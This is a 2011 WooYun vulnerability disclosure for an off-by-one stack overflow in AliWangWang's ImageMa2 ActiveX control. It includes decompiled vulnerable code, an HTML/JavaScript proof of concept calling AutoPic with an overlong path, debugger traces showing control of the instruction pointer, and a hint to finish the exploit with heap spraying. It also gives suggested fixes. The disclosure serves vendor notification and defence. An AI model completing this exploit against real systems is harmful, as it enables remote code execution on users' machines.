当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01380

漏洞标题:淘宝阿里旺旺远程ActiveX栈溢出漏洞

相关厂商:阿里巴巴

漏洞作者: wjb

提交时间:2011-02-21 14:18

修复时间:2011-02-26 15:00

公开时间:2011-02-26 15:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-02-21: 细节已通知厂商并且等待厂商处理中
2011-02-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个应该是WooYun-2011-01334的升级版漏洞,在最新版中依然存在。

详细说明:

ImageMa2 ActiveX IDL文件如下:
[
uuid(D81C6073-919F-4F3A-B12C-7EAF0F6B1F90),
helpstring("ImageManager2 Class")
]
coclass ImageManager2 {
[default] interface IImageManager2;
[default, source] dispinterface _IImageManager2Events;
};
[
odl,
uuid(F068E587-4F89-4949-8FA5-82EF935F688A),
helpstring("IImageManager2 Interface"),
dual,
oleautomation
]
interface IImageManager2 : IDispatch {
[id(0x00000001), helpstring("method ManualPic")]
HRESULT ManualPic(BSTR szFileName);
[id(0x00000002), helpstring("method AutoPic")]
HRESULT AutoPic(
BSTR szFileName,
BSTR* szOut);
[id(0x00000003), propget, helpstring("property url")]
HRESULT url([out, retval] BSTR* pVal);
[id(0x00000003), propput, helpstring("property url")]
HRESULT url([in] BSTR pVal);
[id(0x00000004), propget, helpstring("property containerType")]
HRESULT containerType([out, retval] BSTR* pVal);
[id(0x00000004), propput, helpstring("property containerType")]
HRESULT containerType([in] BSTR pVal);
[id(0x00000005), propget, helpstring("property functionCallback")]
HRESULT functionCallback([out, retval] BSTR* pVal);
[id(0x00000005), propput, helpstring("property functionCallback")]
HRESULT functionCallback([in] BSTR pVal);
[id(0x00000006), propget, helpstring("property draw")]
HRESULT draw([out, retval] BSTR* pVal);
[id(0x00000006), propput, helpstring("property draw")]
HRESULT draw([in] BSTR pVal);
[id(0x00000007), propget, helpstring("property action")]
HRESULT action([out, retval] BSTR* pVal);
[id(0x00000007), propput, helpstring("property action")]
HRESULT action([in] BSTR pVal);
[id(0x00000008), propget, helpstring("property secureKey")]
HRESULT secureKey([out, retval] BSTR* pVal);
[id(0x00000008), propput, helpstring("property secureKey")]
HRESULT secureKey([in] BSTR pVal);
[id(0x00000009), propget, helpstring("property company")]
HRESULT company([out, retval] BSTR* pVal);
[id(0x00000009), propput, helpstring("property company")]
HRESULT company([in] BSTR pVal);
[id(0x0000000a), propget, helpstring("property loginId")]
HRESULT loginId([out, retval] BSTR* pVal);
[id(0x0000000a), propput, helpstring("property loginId")]
HRESULT loginId([in] BSTR pVal);
[id(0x0000000b), propget, helpstring("property picid")]
HRESULT picid([out, retval] BSTR* pVal);
[id(0x0000000b), propput, helpstring("property picid")]
HRESULT picid([in] BSTR pVal);
[id(0x0000000c), propget, helpstring("property Response")]
HRESULT Response([out, retval] BSTR* pVal);
[id(0x0000000c), propput, helpstring("property Response")]
HRESULT Response([in] BSTR pVal);
[id(0x0000000d), propget, helpstring("property PicFileName")]
HRESULT PicFileName([out, retval] BSTR* pVal);
[id(0x0000000d), propput, helpstring("property PicFileName")]
HRESULT PicFileName([in] BSTR pVal);
[id(0x0000000e), propget, helpstring("property xmlParam")]
HRESULT xmlParam([out, retval] BSTR* pVal);
[id(0x0000000e), propput, helpstring("property xmlParam")]
HRESULT xmlParam([in] BSTR pVal);
};
ImageMa2 ActiveX在处理AutoPic方法时存在一个off-by-one的栈溢出漏洞,我想这个应该是2月18日那个栈溢出漏洞修补后的遗留问题:
2月18的公告链接:
http://wooyun.org/bugs/wooyun-2010-01334
http://bbs.taobao.com/catalog/thread/508895-250539394.htm
因为我在修补过的版本AliIM2010_taobao 6.50.10C的ImageMa2.dll中看到程序员在AutoPic的处理函数中加入了2个返回值检查的地方:
1) 调用WideCharToMultiByte()转换unicode字符串时做了返回值检测,这样限制了传入的参数不超过260个字节。
WideCharToMultiByte(0, 0, lpWideCharStr, -1, &FullPath, 260, 0, 0)
2) 同样在调用strrchr查找'\'时也做了返回值检测,确保了返回值不为NULL。因为后面mbsnbcpy函数的第三个(size)的参数是strrchr的返回值减去FullPath的起始地址然后加一.
strrchr(&FullPath, "\\"))
但是显然程序员忽略了在sub_100105EB()调用的子函数存在一个off-by-one的栈溢出漏洞。
sub_100105EB() -> sub_100103FA() (建议用IDA分析ImageMa2的时候把dll的基地址rebase成0x10001000,这样就能方便定位到我描述的问题所在处了。)
sub_100103FA():
...
//首先调用splitpath分解传入的FullPath到本地变量
splitpath(FullPath, &Drive, &Dir, &Filename, &DestStr);
...
char *filesuffix= (char *)_mbsupr(&DestStr);
if ( _mbscmp(filesuffix, ".GIF") )
name = ".jpg";
else
name = ".gif";
strcpy(&DestStr, name);
DWORD count = 9999;
while ( 1 )
{
DWORD rd = rand();
sprintf((char *)&Dest, "%s%s%s_%04d%s", &Drive, &Dir, &Filename, rd % 10000, &DestStr);
if (!GetFileAttributesA(&Dest))
break;
count--;
if ( !count )
return 0;
}
当我们传入的路径不包含后缀名时,该函数会自动帮忙添加.jpg或者.gif的后缀,当我们传入的数据到达260字节后,sprintf打印的文件名为:
"[我们传入的路径]_1234.jpg",然后这里程序员忽略了sprintf会自动在缓冲区末尾添加00做截断,从而也就导致了一个stack off-by-one的问题,导致了保存的
ebp最后一个字节被覆盖成0的字节,当函数返回时就会跳转至缓冲区内的内容处执行,而这个内容是我们可控的。

漏洞证明:

PoC:
<html>
<object classid='clsid:D81C6073-919F-4F3A-B12C-7EAF0F6B1F90' id='x' />
</object>
<script>
var url = ""
for (var i = 0; i < 0x102; i ++)
{
url += "\x0c";
}
url += "\\";
x.AutoPic(url, "123");
</script>
</html>
测试环境
Windows XP SP3 CN + AliIM2010_taobao 6.50.10C
调试输出:
sprintf后的内容:
0:005> d 01e3f1ac L 110
01e3f1ac 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f1bc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f1cc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f1dc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f1ec 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f1fc 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f20c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f21c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f22c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f23c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f24c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f25c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f26c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f27c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f28c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
01e3f29c 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 5f ..............._
01e3f2ac 39 39 37 38 2e 6a 70 67-00 f5 e3 01 04 06 03 03 9978.jpg........
当上层函数返回后,我们可以看到eip被修改成我们控制的内容了:
eax=00000000 ebx=00000000 ecx=00000210 edx=00000210 esi=03193748 edi=01e3f4ec
eip=03030604 esp=01e3f2cc ebp=01e3f500 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageMa2!DllUnregisterServer+0x9f34:
03030604 c20800 ret 8
0:005> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
01e3f500 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ImageMa2!DllUnregisterServer+0x9f34
01e3f5fc 77105cd9 03193748 001d70f4 022e1a2c <Unloaded_sspc.dll>+0xc0c0bfb
01e3f61c 771062e8 03193748 00000020 00000004 OLEAUT32!DispCallFunc+0xc3
01e3f6ac 03027660 02345f04 03193748 00000000 OLEAUT32!DispCallFunc+0x6d2
01e3f6d4 3db58b4f 03193748 00000002 3db31234 ImageMa2!DllUnregisterServer+0xf90
01e3f714 3dd64167 03193748 00000002 00000409 mshtml!DllGetClassObject+0xc9c81
01e3f754 3dd63bc8 002201d0 00000002 00000409 mshtml!ConvertAndEscapePostData+0x89660
01e3f788 75be29d7 002201d0 00000002 00000409 mshtml!ConvertAndEscapePostData+0x890c1
01e3f7c0 75be2947 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x6a0e
01e3f7f8 75be31e5 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x697e
01e3f868 75be1c0a 009ac210 02a81450 00000002 jscript!DllCanUnloadNow+0x721c
01e3f8b0 75be1211 009ac210 01e3f8d0 00000001 jscript!DllCanUnloadNow+0x5c41
01e3f8f0 75be11c6 009ac210 00000001 00000000 jscript!DllCanUnloadNow+0x5248
01e3f914 75be311d 009ac210 00000000 00000001 jscript!DllCanUnloadNow+0x51fd
01e3f9cc 75be1123 01e3fa10 00000000 009ad6b0 jscript!DllCanUnloadNow+0x7154
01e3f9e4 75be0f8a 01e3fa10 00000000 00000000 jscript!DllCanUnloadNow+0x515a
01e3fa54 75bd3777 009ad6b0 01e3fc04 00000000 jscript!DllCanUnloadNow+0x4fc1
01e3faa4 75bcc357 01e3fc04 01e3fbe4 009ac00c jscript!DllGetClassObject+0x5728
01e3fb08 75bcc1a8 022dc56c 0023034c 00000000 jscript+0xc357
01e3fb34 3dad2af5 009ac00c 022dc56c 0023034c jscript+0xc1a8
当然在完全返回之前还有一个读写内存的异常:
(dfc.638): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=022e38f4 ebx=00000000 ecx=03194208 edx=00000022 esi=0c0c0c0c edi=01e3f4ec
eip=03031d01 esp=01e3f2d8 ebp=01e3f500 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ImageMa2!DllUnregisterServer+0xb631:
03031d01 8906 mov dword ptr [esi],eax ds:0023:0c0c0c0c=????????
我们只需要在Heap Spray中填充这个地址的内容即可,时间仓促就暂不提供working的PoC了。

修复方案:

编译器选项加入 /GS
把sprintf换成可限制长度的如snprintf,或者用更安全的API代替。

版权声明:转载请注明来源 wjb@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2011-02-26 15:00

厂商回复:

漏洞Rank:20 (WooYun评价)

最新状态:

暂无